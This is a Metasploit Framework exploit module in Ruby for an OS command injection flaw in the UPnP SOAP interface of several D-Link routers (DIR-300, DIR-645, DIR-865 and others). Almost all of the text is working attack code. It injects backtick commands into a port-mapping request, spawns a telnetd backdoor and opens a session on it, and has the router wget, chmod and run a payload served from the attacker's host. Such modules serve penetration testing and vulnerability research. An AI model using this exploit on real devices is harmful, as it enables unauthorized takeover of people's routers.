Remote Exploits
D-Link Devices UPnP SOAP Command Execution
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Auxiliary::CommandShell
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link Devices UPnP SOAP Command Execution',
'Description' => %q{
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
interface. Since it is a blind OS command injection vulnerability, there is no
output for the executed command when using the CMD target. Additionally, two targets
are included, to start a telnetd service and establish a session over it, or deploy a
native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,
DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer,
more D-Link devices may affected.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '94924' ],
[ 'BID', '61005' ],
[ 'EDB', '26664' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
],
'DisclosureDate' => 'Jul 05 2013',
'Privileged' => true,
'Platform' => ['linux','unix'],
'Payload' =>
{
'DisableNops' => true,
},
'Targets' =>
[
[ 'CMD', #all devices
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Telnet', #all devices - default target
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1
))
register_options(
[
Opt::RPORT(49152), #port of UPnP SOAP webinterface
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
], self.class)
end
def exploit
@new_portmapping_descr = rand_text_alpha(8)
@new_external_port = rand(65535)
@new_internal_port = rand(65535)
if target.name =~ /CMD/
exploit_cmd
elsif target.name =~ /Telnet/
exploit_telnet
else
exploit_mips
end
end
def exploit_cmd
if not (datastore['CMD'])
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = payload.encoded
type = "add"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
type = "delete"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
return
end
def exploit_telnet
telnetport = rand(65535)
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
cmd = "telnetd -p #{telnetport}"
type = "add"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
type = "delete"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
begin
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
if sock
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
add_socket(sock)
else
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
auth_info = {
:host => rhost,
:port => telnetport,
:sname => 'telnet',
:user => "",
:pass => "",
:source_type => "exploit",
:active => true
}
report_auth_info(auth_info)
merge_me = {
'USERPASS_FILE' => nil,
'USER_FILE' => nil,
'PASS_FILE' => nil,
'USERNAME' => nil,
'PASSWORD' => nil
}
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
rescue
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end
return
end
def exploit_mips
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
#thx to Juan for his awesome work on the mipsel elf support
@pl = generate_payload_exe
@elf_sent = false
#
# start our server
#
resource_uri = '/' + downfile
if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
end
#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the DLink device to take and execute #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
type = "add"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
end
register_file_for_cleanup("/tmp/#{filename}")
type = "delete"
res = request(cmd, type)
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
end
def request(cmd, type)
uri = '/soap.cgi'
data_cmd = "<?xml version=\"1.0\"?>"
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
data_cmd << "<SOAP-ENV:Body>"
if type == "add"
vprint_status("#{rhost}:#{rport} - adding portmapping")
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
data_cmd << "<NewEnabled>1</NewEnabled>"
data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
data_cmd << "<NewRemoteHost></NewRemoteHost>"
data_cmd << "<NewProtocol>TCP</NewProtocol>"
data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
data_cmd << "</m:AddPortMapping>"
else
#we should clean it up ... otherwise we are not able to exploit it multiple times
vprint_status("#{rhost}:#{rport} - deleting portmapping")
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
data_cmd << "</m:DeletePortMapping>"
end
data_cmd << "</SOAP-ENV:Body>"
data_cmd << "</SOAP-ENV:Envelope>"
begin
res = send_request_cgi({
'uri' => uri,
'vars_get' => {
'service' => 'WANIPConn1'
},
'ctype' => "text/xml",
'method' => 'POST',
'headers' => {
'SOAPAction' => soapaction,
},
'data' => data_cmd
})
return res
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
end
end
end
end
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